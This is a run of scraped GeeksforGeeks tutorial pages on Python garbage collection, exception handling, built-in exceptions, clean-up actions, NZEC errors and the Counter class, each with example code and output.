    Here, the default threshold on the above system is 700. This means when the number of allocations vs. the number of deallocations is greater than 700 the automatic garbage collector will run. Thus any portion of your code which frees up large blocks of memory is a good candidate for running manual garbage collection. 
     

    Manual Garbage Collection

    Invoking the garbage collector manually during the execution of a program can be a good idea on how to handle memory being consumed by reference cycles. 
    The garbage collection can be invoked manually in the following way: 

    Python




    # Importing gc module
    import gc
     
    # Returns the number of
    # objects it has collected
    # and deallocated
    collected = gc.collect()
     
    # Prints Garbage collector
    # as 0 object
    print("Garbage collector: collected",
              "%d objects." % collected)

    Output:

    ('Garbage collector: collected', '0 objects.')

    If few cycles are created, then how manual collection works: 
    Example: 

    Python




    import gc
    i = 0
     
    # create a cycle and on each iteration x as a dictionary
    # assigned to 1
    def create_cycle():
        x = { }
        x[i+1] = x
        print x
     
    # lists are cleared whenever a full collection or
    # collection of the highest generation (2) is run
    collected = gc.collect() # or gc.collect(2)
    print "Garbage collector: collected %d objects." % (collected)
     
    print "Creating cycles..."
    for i in range(10):
        create_cycle()
     
    collected = gc.collect()
     
    print "Garbage collector: collected %d objects." % (collected)

    Output: 

    Garbage collector: collected 0 objects.
    Creating cycles...
    {1: {...}}
    {2: {...}}
    {3: {...}}
    {4: {...}}
    {5: {...}}
    {6: {...}}
    {7: {...}}
    {8: {...}}
    {9: {...}}
    {10: {...}}
    Garbage collector: collected 10 objects.

    There are two ways for performing manual garbage collection: time-based and event-based garbage collection. 

    1. Time-based garbage collection is simple: the garbage collector is called after a fixed time interval. 
    2. Event-based garbage collection calls the garbage collector on event occurrence. For example, when a user exits the application or when the application enters into idle state. 
       

    Reference 


    My Personal Notes arrow_drop_up

    Python Exception Handling

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 22 Oct, 2021

    We have explored basic python till now from Set 1 to 4 (Set 1 | Set 2 | Set 3 | Set 4). 

    In this article, we will discuss how to handle exceptions in Python using try. catch, and finally statement with the help of proper examples. 

    Error in Python can be of two types i.e. Syntax errors and Exceptions. Errors are the problems in a program due to which the program will stop the execution. On the other hand, exceptions are raised when some internal events occur which changes the normal flow of the program. 

    Difference between Syntax Error and Exceptions

    Syntax Error: As the name suggests this error is caused by the wrong syntax in the code. It leads to the termination of the program. 

    Example: 

    Python3




    # initialize the amount variable
    amount = 10000
     
    # check that You are eligible to
    #  purchase Dsa Self Paced or not
    if(amount > 2999)
    print("You are eligible to purchase Dsa Self Paced")

    Output:

    Exceptions: Exceptions are raised when the program is syntactically correct, but the code resulted in an error. This error does not stop the execution of the program, however, it changes the normal flow of the program.

    Example:

    Python3




    # initialize the amount variable
    marks = 10000
     
    # perform division with 0
    a = marks / 0
    print(a)

    Output:

    In the above example raised the ZeroDivisionError as we are trying to divide a number by 0.

    Note: Exception is the base class for all the exceptions in Python. You can check the exception hierarchy here.  

    Try and Except Statement – Catching Exceptions

    Try and except statements are used to catch and handle exceptions in Python. Statements that can raise exceptions are kept inside the try clause and the statements that handle the exception are written inside except clause.

    Example: Let us try to access the array element whose index is out of bound and handle the corresponding exception.

    Python3




    # Python program to handle simple runtime error
    #Python 3
     
    a = [1, 2, 3]
    try:
        print ("Second element = %d" %(a[1]))
     
        # Throws error since there are only 3 elements in array
        print ("Fourth element = %d" %(a[3]))
     
    except:
        print ("An error occurred")
    Output
    Second element = 2
    An error occurred

    In the above example, the statements that can cause the error are placed inside the try statement (second print statement in our case). The second print statement tries to access the fourth element of the list which is not there and this throws an exception. This exception is then caught by the except statement.

    Catching Specific Exception

    A try statement can have more than one except clause, to specify handlers for different exceptions. Please note that at most one handler will be executed. For example, we can add IndexError in the above code. The general syntax for adding specific exceptions are – 

    try:
        # statement(s)
    except IndexError:
        # statement(s)
    except ValueError:
        # statement(s)

    Example: Catching specific exception in Python

    Python3




    # Program to handle multiple errors with one
    # except statement
    # Python 3
     
    def fun(a):
        if a < 4:
     
            # throws ZeroDivisionError for a = 3
            b = a/(a-3)
     
        # throws NameError if a >= 4
        print("Value of b = ", b)
         
    try:
        fun(3)
        fun(5)
     
    # note that braces () are necessary here for
    # multiple exceptions
    except ZeroDivisionError:
        print("ZeroDivisionError Occurred and Handled")
    except NameError:
        print("NameError Occurred and Handled")
    Output
    ZeroDivisionError Occurred and Handled

    If you comment on the line fun(3), the output will be 

    NameError Occurred and Handled

    The output above is so because as soon as python tries to access the value of b, NameError occurs. 

    Try with Else Clause

    In python, you can also use the else clause on the try-except block which must be present after all the except clauses. The code enters the else block only if the try clause does not raise an exception.

    Example: Try with else clause

    Python3




    # Program to depict else clause with try-except
    # Python 3
    # Function which returns a/b
    def AbyB(a , b):
        try:
            c = ((a+b) / (a-b))
        except ZeroDivisionError:
            print ("a/b result in 0")
        else:
            print (c)
     
    # Driver program to test above function
    AbyB(2.0, 3.0)
    AbyB(3.0, 3.0)

    Output:

    -5.0
    a/b result in 0 

    Finally Keyword in Python

    Python provides a keyword finally, which is always executed after the try and except blocks. The final block always executes after normal termination of try block or after try block terminates due to some exception.

    Syntax:

    try:
        # Some Code.... 
    
    except:
        # optional block
        # Handling of exception (if required)
    
    else:
        # execute if no exception
    
    finally:
        # Some code .....(always executed)

    Example:

    Python3




    # Python program to demonstrate finally
     
    # No exception Exception raised in try block
    try:
        k = 5//0  # raises divide by zero exception.
        print(k)
     
    # handles zerodivision exception
    except ZeroDivisionError:
        print("Can't divide by zero")
     
    finally:
        # this block is always executed
        # regardless of exception generation.
        print('This is always executed')

    Output:

    Can't divide by zero
    This is always executed

    Raising Exception

    The raise statement allows the programmer to force a specific exception to occur. The sole argument in raise indicates the exception to be raised. This must be either an exception instance or an exception class (a class that derives from Exception).

    Python3




    # Program to depict Raising Exception
     
    try:
        raise NameError("Hi there"# Raise Error
    except NameError:
        print ("An exception")
        raise  # To determine whether the exception was raised or not

    The output of the above code will simply line printed as “An exception” but a Runtime error will also occur in the last due to the raise statement in the last line. So, the output on your command line will look like 

    Traceback (most recent call last):
      File "/home/d6ec14ca595b97bff8d8034bbf212a9f.py", line 5, in <module>
        raise NameError("Hi there")  # Raise Error
    NameError: Hi there

    https://youtu.be/fCRB8ADbBSc

    This article is contributed by Nikhil Kumar Singh(nickzuck_007) 

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    User-defined Exceptions in Python with Examples

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 10 Aug, 2021

    Prerequisite- This article is an extension to Exception Handling.
    Python throws errors and exceptions when there is a code gone wrong, which may cause the program to stop abruptly. Python also provides an exception handling method with the help of try-except. Some of the standard exceptions which are most frequent include IndexError, ImportError, IOError, ZeroDivisionError, TypeError, and FileNotFoundError. A user can create his own error using the exception class.
     

    Creating User-defined Exception

    Programmers may name their own exceptions by creating a new exception class. Exceptions need to be derived from the Exception class, either directly or indirectly. Although not mandatory, most of the exceptions are named as names that end in “Error” similar to the naming of the standard exceptions in python. For example: 

    PYTHON




    # A python program to create user-defined exception
     
    # class MyError is derived from super class Exception
    class MyError(Exception):
     
        # Constructor or Initializer
        def __init__(self, value):
            self.value = value
     
        # __str__ is to print() the value
        def __str__(self):
            return(repr(self.value))
     
    try:
        raise(MyError(3*2))
     
    # Value of Exception is stored in error
    except MyError as error:
        print('A New Exception occured: ',error.value)

    Output: 

    ('A New Exception occured: ', 6)

    Knowing all about Exception Class

    To know more about class Exception, run the code below 

    PYTHON




    help(Exception)

    Deriving Error from Super Class Exception

    Superclass Exceptions are created when a module needs to handle several distinct errors. One of the common ways of doing this is to create a base class for exceptions defined by that module. Further, various subclasses are defined to create specific exception classes for different error conditions.
     

    PYTHON




    # class Error is derived from super class Exception
    class Error(Exception):
     
        # Error is derived class for Exception, but
        # Base class for exceptions in this module
        pass
     
    class TransitionError(Error):
     
        # Raised when an operation attempts a state
        # transition that's not allowed.
        def __init__(self, prev, nex, msg):
            self.prev = prev
            self.next = nex
     
            # Error message thrown is saved in msg
            self.msg = msg
    try:
        raise(TransitionError(2,3*2,"Not Allowed"))
     
    # Value of Exception is stored in error
    except TransitionError as error:
        print('Exception occured: ',error.msg)

    Output: 
     

    ('Exception occured: ', 'Not Allowed')

    How to use standard Exceptions as a base class?
    A runtime error is a class that is a standard exception that is raised when a generated error does not fall into any category. This program illustrates how to use runtime error as base class and network error as derived class. In a similar way, an exception can be derived from the standard exceptions of Python.
     

    PYTHON




    # NetworkError has base RuntimeError
    # and not Exception
    class Networkerror(RuntimeError):
        def __init__(self, arg):
            self.args = arg
     
    try:
        raise Networkerror("Error")
     
    except Networkerror as e:
        print (e.args)

    Output: 
     

    ('E', 'r', 'r', 'o', 'r')

    This article is contributed by Piyush Doorwar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Built-in Exceptions in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 14 Mar, 2022

    All instances in Python must be instances of a class that derives from BaseException. Two exception classes that are not related via subclassing are never equivalent, even if they have the same name. The built-in exceptions can be generated by the interpreter or built-in functions.

    There are several built-in exceptions in Python that are raised when errors occur. These built-in exceptions can be viewed using the local() built-in functions as follows :

    >>> locals()['__builtins__']
    

    This returns a dictionary of built-in exceptions, functions and attributes.

    Base Classes

    The following exceptions are used mostly as base classes for other exceptions.

    1. exception BaseException
      This is the base class for all built-in exceptions. It is not meant to be directly inherited by user-defined classes. For, user-defined classes, Exception is used. This class is responsible for creating a string representation of the exception using str() using the arguments passed. An empty string is returned if there are no arguments.
      • args : The args are the tuple of arguments given to the exception constructor.
      • with_traceback(tb) : This method is usually used in exception handling. This method sets tb as the new traceback for the exception and returns the exception object.

        Code :

        try:
            ...
        except SomeException:
            tb = sys.exc_info()[2]
            raise OtherException(...).with_traceback(tb)
        
    2. exception Exception
      This is the base class for all built-in non-system-exiting exceptions. All user-defined exceptions should also be derived from this class.
    3. exception ArithmeticError
      This class is the base class for those built-in exceptions that are raised for various arithmetic errors such as :
      • OverflowError
      • ZeroDivisionError
      • FloatingPointError

      Example :




      try:  
          a = 10/0  
          print (a)
      except ArithmeticError:  
              print ("This statement is raising an arithmetic exception.")
      else:  
          print ("Success.")

      Output :

      This statement is raising an arithmetic exception.
      
    4. exception BufferError
      This exception is raised when buffer related operations cannot be performed.
    5. exception LookupError
      This is the base class for those exceptions that are raised when a key or index used on a mapping or sequence is invalid or not found. The exceptions raised are :
      • KeyError
      • IndexError

      Example :




      try
          a = [1, 2, 3
          print (a[3]) 
      except LookupError: 
          print ("Index out of bound error.")
      else
          print ("Success")
        

      Output :

      Index out of bound error.
      

    Concrete exceptions

    The following exceptions are the exceptions that are usually raised.

    1. exception AssertionError
      An AssertionError is raised when an assert statement fails.

      Example :

      assert False, 'The assertion failed'
      

      Output :

      Traceback (most recent call last):
        File "exceptions_AssertionError.py", line 12, in 
          assert False, 'The assertion failed'
      AssertionError: The assertion failed
      
    2. exception AttributeError
      An AttributeError is raised when an attribute reference or assignment fails such as when a non-existent attribute is referenced.

      Example :




      class Attributes(object):
          pass
        
      object = Attributes()
      print (object.attribute)

      Output :

      Traceback (most recent call last):
        File "d912bae549a2b42953bc62da114ae7a7.py", line 5, in 
          print object.attribute
      AttributeError: 'Attributes' object has no attribute 'attribute'
      
    3. exception EOFError
      An EOFError is raised when built-in functions like input() hits an end-of-file condition (EOF) without reading any data. The file methods like readline() return an empty string when they hit EOF.

      Example :




      while True:
          data = input('Enter name : ')
          print ('Hello  ', data)

      Output :

      Enter Name :Hello Aditi
      Enter Name :Traceback (most recent call last):
        File "exceptions_EOFError.py", line 13, in 
          data = raw_input('Enter name :')
      EOFError: EOF when reading a line
      
    4. exception FloatingPointError
      A FloatingPointError is raised when a floating point operation fails. This exception is always defined, but can only be raised when Python is configured with the–with-fpectl option, or the WANT_SIGFPE_HANDLER symbol is defined in the pyconfig.h file.

      Example :




      import math
        
      print (math.exp(1000))

      Output :

      Traceback (most recent call last):
        File "", line 1, in 
      FloatingPointError: in math_1
      
    5. exception GeneratorExit
      This exception directly inherits from BaseException instead of Exception since it is technically not an error. A GeneratorExit exception is raised when a generator or coroutine is closed.

      Example :




      def my_generator():
          try:
              for i in range(5):
                  print ('Yielding', i)
                  yield i
          except GeneratorExit:
              print ('Exiting early')
        
      g = my_generator()
      print (g.next())
      g.close()
        

      Output :

      Yielding 0
      0
      Exiting early
      
    6. exception ImportError
      An ImportError is raised when the import statement is unable to load a module or when the “from list” in from … import has a name that cannot be found.

        Example :




        import module_does_not_exist

        Output :

      Traceback (most recent call last):
        File "exceptions_ImportError_nomodule.py", line 12, in 
          import module_does_not_exist
      ImportError: No module named module_does_not_exist
      
      

      Example :




      from exceptions import Userexception

      Output :

      Traceback (most recent call last):
        File "exceptions_ImportError_missingname.py", line 12, in 
          from exceptions import Userexception
      ImportError: cannot import name Userexception
      
      
    7. exception ModuleNotFoundError
      This is the subclass of ImportError which is raised by import when a module could not be found. It is also raised when None is found in sys.modules.
    8. exception IndexError
      An IndexError is raised when a sequence is referenced which is out of range.

      Example :




      array = [ 0, 1, 2 ]
      print (array[3])

      Output :

      Traceback (most recent call last):
        File "exceptions_IndexError.py", line 13, in 
          print array[3]
      IndexError: list index out of range
      
    9. exception KeyError
      A KeyError is raised when a mapping key is not found in the set of existing keys.

      Example :




      array = { 'a':1, 'b':2 }
      print (array['c'])

      Output :

      Traceback (most recent call last):
        File "exceptions_KeyError.py", line 13, in 
          print array['c']
      KeyError: 'c'
      
    10. exception KeyboardInterrupt
      This error is raised when the user hits the interrupt key such as Control-C or Delete.

      Example :




      try:
          print ('Press Return or Ctrl-C:',)
          ignored = input()
      except Exception, err:
          print ('Caught exception:', err)
      except KeyboardInterrupt, err:
          print ('Caught KeyboardInterrupt')
      else:
          print ('No exception')

      Output :

      Press Return or Ctrl-C: ^CCaught KeyboardInterrupt
      
    11. exception MemoryError
      This error is raised when an operation runs out of memory.

      Example :




      def fact(a):
          factors = []
          for i in range(1, a+1):
              if a%i == 0:
                  factors.append(i)
          return factors 
        
      num = 600851475143
      print (fact(num))

      Output :

      Traceback (most recent call last):
        File "4af5c316c749aff128df20714536b8f3.py", line 9, in 
          print fact(num)
        File "4af5c316c749aff128df20714536b8f3.py", line 3, in fact
          for i in range(1, a+1):
      MemoryError
      
    12. exception NameError
      This error is raised when a local or global name is not found. For example, an unqualified variable name.

      Example :




      def func():
          print ans
        
      func()

      Output :

      Traceback (most recent call last):
        File "cfba0a5196b05397e0a23b1b5b8c7e19.py", line 4, in 
          func()
        File "cfba0a5196b05397e0a23b1b5b8c7e19.py", line 2, in func
          print ans
      NameError: global name 'ans' is not defined
      
    13. exception NotImplementedError
      This exception is derived from RuntimeError. Abstract methods in user defined classed should raise this exception when the derived classes override the method.

      Example :




      class BaseClass(object):
          """Defines the interface"""
          def __init__(self):
              super(BaseClass, self).__init__()
          def do_something(self):
              """The interface, not implemented"""
              raise NotImplementedError(self.__class__.__name__ + '.do_something')
        
      class SubClass(BaseClass):
          """Implements the interface"""
          def do_something(self):
              """really does something"""
              print (self.__class__.__name__ + ' doing something!')
        
      SubClass().do_something()
      BaseClass().do_something()

      Output :

      Traceback (most recent call last):
        File "b32fc445850cbc23cd2f081ba1c1d60b.py", line 16, in 
          BaseClass().do_something()
        File "b32fc445850cbc23cd2f081ba1c1d60b.py", line 7, in do_something
          raise NotImplementedError(self.__class__.__name__ + '.do_something')
      NotImplementedError: BaseClass.do_something
      
    14. exception OSError([arg])
      The OSError exception is raised when a system function returns a system-related error, including I/O failures such as “file not found” or “disk full” errors.

      Example :




      def func():
          print (ans)
        
      func()

      Output :

      Traceback (most recent call last):
        File "442eccd7535a2704adbe372cb731fc0f.py", line 4, in 
          print i, os.ttyname(i)
      OSError: [Errno 25] Inappropriate ioctl for device
      
    15. exception OverflowError
      The OverflowError is raised when the result of an arithmetic operation is out of range. Integers raise MemoryError instead of OverflowError. OverflowError is sometimes raised for integers that are outside a required range. Floating point operations are not checked because of the lack of standardization of floating point exception handling in C.

      Example :




      import sys
        
      print ('Regular integer: (maxint=%s)' % sys.maxint)
      try:
          i = sys.maxint * 3
          print ('No overflow for ', type(i), 'i =', i)
      except OverflowError, err:
          print ('Overflowed at ', i, err)
        
      print()
      print ('Long integer:')
      for i in range(0, 100, 10):
          print ('%2d' % i, 2L ** i)
        
      print()
      print ('Floating point values:')
      try:
          f = 2.0**i
          for i in range(100):
              print (i, f)
              f = f ** 2
      except OverflowError, err:
          print ('Overflowed after ', f, err)

      Output :

      Regular integer: (maxint=9223372036854775807)
      No overflow for   i = 27670116110564327421
      
      Long integer:
       0 1
      10 1024
      20 1048576
      30 1073741824
      40 1099511627776
      50 1125899906842624
      60 1152921504606846976
      70 1180591620717411303424
      80 1208925819614629174706176
      90 1237940039285380274899124224
      
      Floating point values:
      0 1.23794003929e+27
      1 1.53249554087e+54
      2 2.34854258277e+108
      3 5.5156522631e+216
      Overflowed after  5.5156522631e+216 (34, 'Numerical result out of range')
      
      
    16. exception RecursionError
      The RecursionError is derived from the RuntimeError. This exception is raised when the interpreter detects that the maximum recursion depth is exceeded.
    17. exception ReferenceError
      The ReferenceError is raised when a weak reference proxy is used to access an attribute of the referent after the garbage collection.

      Example :




      import gc
      import weakref
        
      class Foo(object):
        
          def __init__(self, name):
              self.name = name
            
          def __del__(self):
              print ('(Deleting %s)' % self)
        
      obj = Foo('obj')
      p = weakref.proxy(obj)
        
      print ('BEFORE:', p.name)
      obj = None
      print ('AFTER:', p.name)

      Output :

      BEFORE: obj
      (Deleting )
      AFTER:
      
      Traceback (most recent call last):
        File "49d0c29d8fe607b862c02f4e1cb6c756.py", line 17, in 
          print 'AFTER:', p.name
      ReferenceError: weakly-referenced object no longer exists
      
    18. exception RuntimeError
      The RuntimeError is raised when no other exception applies. It returns a string indicating what precisely went wrong.
    19. exception StopIteration
      The StopIteration error is raised by built-in function next() and an iterator‘s __next__() method to signal that all items are produced by the iterator.

      Example :




      Arr = [3, 1, 2]
      i=iter(Arr)
        
      print (i)
      print (i.next())
      print (i.next())
      print (i.next())
      print (i.next())

      Output :

      
      3
      1
      2
      
      Traceback (most recent call last):
        File "2136fa9a620e14f8436bb60d5395cc5b.py", line 8, in 
          print i.next()
      StopIteration
      
    20. exception SyntaxError
      The SyntaxError is raised when the parser encounters a syntax error. A syntax error may occur in an import statement or while calling the built-in functions exec() or eval(), or when reading the initial script or standard input.

      Example :




      try:
          print (eval('geeks for geeks'))
      except SyntaxError, err:
          print ('Syntax error %s (%s-%s): %s' % \
              (err.filename, err.lineno, err.offset, err.text))
          print (err)

      Output :

      Syntax error  (1-9): geeks for geeks
      invalid syntax (, line 1)
      
    21. exception SystemError
      The SystemError is raised when the interpreter finds an internal error. The associated value is a string indicating what went wrong.
    22. exception SystemExit
      The SystemExit is raised when sys.exit() function is called. A call to sys.exit() is translated into an exception to execute clean-up handlers (finally clauses of try statements) and to debug a script without running the risk of losing control.
    23. exception TypeError
      TypeError is raised when an operation or function is applied to an object of inappropriate type. This exception returns a string giving details about the type mismatch.

      Example :




      arr = ('tuple', ) + 'string'
      print (arr)

      Output :

      Traceback (most recent call last):
        File "30238c120c0868eba7e13a06c0b1b1e4.py", line 1, in 
          arr = ('tuple', ) + 'string'
      TypeError: can only concatenate tuple (not "str") to tuple
      
    24. exception UnboundLocalError
      UnboundLocalError is a subclass of NameError which is raised when a reference is made to a local variable in a function or method, but no value has been assigned to that variable.

      Example :




      def global_name_error():
          print (unknown_global_name)
        
      def unbound_local():
          local_val = local_val + 1
          print (local_val)
        
      try:
          global_name_error()
      except NameError, err:
          print ('Global name error:', err)
        
      try:
          unbound_local()
      except UnboundLocalError, err:
          print ('Local name error:', err)

      Output :

      Global name error: global name 'unknown_global_name' is not defined
      Local name error: local variable 'local_val' referenced before assignment
      
    25. exception UnicodeError
      This exception is a subclass of ValueError. UnicodeError is raised when a Unicode-related encoding or decoding error occurs.
    26. exception ValueError
      A ValueError is raised when a built-in operation or function receives an argument that has the right type but an invalid value.

      Example :




      print (int('a'))

      Output :

      Traceback (most recent call last):
        File "44f00efda935715a3c5468d899080381.py", line 1, in 
          print int('a')
      ValueError: invalid literal for int() with base 10: 'a'
      
    27. exception ZeroDivisionError
      A ZeroDivisionError is raised when the second argument of a division or modulo operation is zero. This exception returns a string indicating the type of the operands and the operation.

      Example :




      print (1/0)

      Output :

      Traceback (most recent call last):
        File "c31d9626b41e53d170a78eac7d98cb85.py", line 1, in 
          print 1/0
      ZeroDivisionError: integer division or modulo by zero
      

    This article is contributed by Aditi Gupta. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Defining Clean Up Actions in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 11 Oct, 2021

    Think of a task you will always want your program to do, whether it runs perfectly or raise any kind of error. For example, We use of try statement which has an optional clause – “finally” to perform clean up actions, that must be executed under all conditions.
    Cleanup actions: Before leaving the try statement, “finally” clause is always executed, whether an exception is raised or not. These are clauses which are intended to define clean-up actions that must be executed under all circumstances.
    Whenever an exception occurs and is not being handled by the except clause, first finally will occur and then the error is raised as default [Code 3].

    Python Programs illustrating “Defining Clean Up Actions”

    Code 1 : Code works normally and clean-up action is taken at the end




    # Python code to illustrate
    # clean up actions
    def divide(x, y):
        try:
            # Floor Division : Gives only Fractional Part as Answer
            result = x // y
        except ZeroDivisionError:
            print("Sorry ! You are dividing by zero ")
        else:
            print("Yeah ! Your answer is:", result)
        finally:
            print("I'm finally clause, always raised !! ")
      
    # Look at parameters and note the working of Program
    divide(3, 2)

    Output :

    Yeah ! Your answer is : 1
    I'm finally clause, always raised !! 
    

     
    Code 2 : Code raise error and is carefully handled in the except clause. Note that Clean-up action is taken at the end.




    # Python code to illustrate
    # clean up actions
    def divide(x, y):
        try:
            # Floor Division : Gives only Fractional Part as Answer
            result = x // y
        except ZeroDivisionError:
            print("Sorry ! You are dividing by zero ")
        else:
            print("Yeah ! Your answer is:", result)
        finally:
            print("I'm finally clause, always raised !! ")
      
    # Look at parameters and note the working of Program
    divide(3, 0)

    Output :

    Sorry ! You are dividing by zero 
    I'm finally clause, always raised !!
    

     

    Code 3 : Code, raise error but we don’t have any except clause to handle it. So, clean-up action is taken first and then the error(by default) is raised by the compiler.




    # Python code to illustrate
    # clean up actions
    def divide(x, y):
        try:
            # Floor Division : Gives only Fractional Part as Answer
            result = x // y
        except ZeroDivisionError:
            print("Sorry ! You are dividing by zero ")
        else:
            print("Yeah ! Your answer is:", result)
        finally:
            print("I'm finally clause, always raised !! ")
      
    # Look at parameters and note the working of Program
    divide(3, "3")

    Output :

    I'm finally clause, always raised !! 

    Error:

    Traceback (most recent call last):
      File "C:/Users/DELL/Desktop/Code.py", line 15, in 
        divide(3, "3")
      File "C:/Users/DELL/Desktop/Code.py", line 7, in divide
        result = x // y
    TypeError: unsupported operand type(s) for //: 'int' and 'str'
    

    This article is contributed by Mohit Gupta_OMG 😀. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    NZEC error in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 19 Oct, 2021

    While coding in various competitive sites, many people must have encountered NZEC errors. NZEC (non zero exit code) as the name suggests occurs when your code is failed to return 0. When a code returns 0 it means it is successfully executed otherwise it will return some other number depending on the type of error.
    When the program ends and it is supposed to return “0” to indicate if finished fine and is not able to do so it causes NZEC. Of course, there are more cases associated with NZEC.

    Why does NZEC occur?(one example)

    In python, generally, multiple inputs are separated by commas and we read them using input() or int(input()), but most of the online coding platforms while testing gives input separated by space and in those cases, int(input()) is not able to read the input properly and shows error like NZEC.

    How to resolve?

    For Example, Think of a simple program where you have to read 2 integers and print them(in input file both integers are in same line). Suppose you have two integers as shown below:
    23 45
    Instead of using :

    n = int(input())
    k = int(input())

    Use:

    n, k = raw_input().split(" ")
    n = int(n)
    k = int(k)

    to delimit input by white spaces.

    Wrong code




    n = int(input())
    k = int(input())
    print n," ",k

    Input:
    2 3
    When you run the above code in IDE with above input you will get error:-

    Traceback (most recent call last):
      File "b712edd81d4a972de2a9189fac8a83ed.py", line 1, in 
        n = int(input())
      File "", line 1
        2 3
          ^
    SyntaxError: unexpected EOF while parsing
    

    The above code will work fine when the input is in 2 two different lines. You can test yourself. To overcome this problem you need to use split.

    Correct code




    n, k = raw_input().split(" ")
    n = int(n)
    k = int(k)
    print n," ",k

    Input:

    7 3

    Output:

    7   3
    

    Some prominent reasons for NZEC error

    1. Infinite Recursion or if you have run out of stack memory.
    2. Input and output both are NOT exactly same as the test cases.
    3. As the online platforms, test your program using a computer code which matches your output with the specified outputs exactly.
    4. This type of error is also shown when your program is performing basic programming mistakes like dividing by 0.
    5. Check for the values of your variables, they can be vulnerable to integer flow.

    There could be some other reasons also for the occurrence NZEC error, I have listed the frequent ones.

    This article is contributed by Aakash Tiwari. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.

    My Personal Notes arrow_drop_up

    Python Try Except

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Basic
    • Last Updated : 28 Jan, 2022

    Error in Python can be of two types i.e. Syntax errors and Exceptions. Errors are the problems in a program due to which the program will stop the execution. On the other hand, exceptions are raised when some internal events occur which changes the normal flow of the program.
    Note: For more information, refer to Errors and Exceptions in Python
    Some of the common Exception Errors are : 
     

     

    Try Except in Python

    Try and Except statement is used to handle these errors within our code in Python. The try block is used to check some code for errors i.e the code inside the try block will execute when there is no error in the program. Whereas the code inside the except block will execute whenever the program encounters some error in the preceding try block.
     

    Syntax: 

    try:
        # Some Code
    except:
        # Executed if error in the
        # try block

    How try() works? 
     

    Code 1: No exception, so the try clause will run. 
     

    Python3




    # Python code to illustrate
    # working of try()
    def divide(x, y):
        try:
            # Floor Division : Gives only Fractional Part as Answer
            result = x // y
            print("Yeah ! Your answer is :", result)
        except ZeroDivisionError:
            print("Sorry ! You are dividing by zero ")
     
    # Look at parameters and note the working of Program
    divide(3, 2)

    Output : 
     

    ('Yeah ! Your answer is :', 1)

    Code 1: There is an exception so only except clause will run. 
     

    Python3




    # Python code to illustrate
    # working of try()
    def divide(x, y):
        try:
            # Floor Division : Gives only Fractional Part as Answer
            result = x // y
            print("Yeah ! Your answer is :", result)
        except ZeroDivisionError:
            print("Sorry ! You are dividing by zero ")
     
    # Look at parameters and note the working of Program
    divide(3, 0)

    Output : 
     

    Sorry ! You are dividing by zero

     

    Else Clause

    In python, you can also use the else clause on the try-except block which must be present after all the except clauses. The code enters the else block only if the try clause does not raise an exception.
     

    Syntax:

    try:
        # Some Code
    except:
        # Executed if error in the
        # try block
    else:
        # execute if no exception

    Code:

    Python3




    # Program to depict else clause with try-except
      
    # Function which returns a/b
    def AbyB(a , b):
        try:
            c = ((a+b) // (a-b))
        except ZeroDivisionError:
            print ("a/b result in 0")
        else:
            print (c)
      
    # Driver program to test above function
    AbyB(2.0, 3.0)
    AbyB(3.0, 3.0)

    Output:

    -5.0
    a/b result in 0

     

    Finally Keyword in Python

    Python provides a keyword finally, which is always executed after the try and except blocks. The final block always executes after normal termination of try block or after try block terminates due to some exceptions.
     

    Syntax:

    try:
        # Some Code
    except:
        # Executed if error in the
        # try block
    else:
        # execute if no exception
    finally:
        # Some code .....(always executed)

    Code:

    Python3




    # Python program to demonstrate finally
        
    # No exception Exception raised in try block
    try:
        k = 5//0 # raises divide by zero exception.
        print(k)
        
    # handles zerodivision exception    
    except ZeroDivisionError:   
        print("Can't divide by zero")
            
    finally:
        # this block is always executed 
        # regardless of exception generation.
        print('This is always executed'

    Output:

    Can't divide by zero
    This is always executed

    Related Articles: 
     

    This article is contributed by Mohit Gupta_OMG 😀. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Counters in Python | Set 1 (Initialization and Updation)

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 03 Mar, 2022

    Counter is a container included in the collections module. Now you all must be wondering what is a container. Don’t worry first let’s discuss about the container. 
     

    What is Container?

    Containers are objects that hold objects. They provide a way to access the contained objects and iterate over them. Examples of built in containers are Tuple, list, and dictionary. Others are included in Collections module.
    A Counter is a subclass of dict. Therefore it is an unordered collection where elements and their respective count are stored as a dictionary. This is equivalent to a bag or multiset of other languages.
    Syntax : 
     

    class collections.Counter([iterable-or-mapping])

    Initialization : 
    The constructor of counter can be called in any one of the following ways : 
     

     

     

    Example of each type of initialization : 
     

    Python3




    # A Python program to show different ways to create
    # Counter
    from collections import Counter
     
    # With sequence of items
    print(Counter(['B','B','A','B','C','A','B','B','A','C']))
     
    # with dictionary
    print(Counter({'A':3, 'B':5, 'C':2}))
     
    # with keyword arguments
    print(Counter(A=3, B=5, C=2))

    Output of all the three lines is same : 
     

    Counter({'B': 5, 'A': 3, 'C': 2})
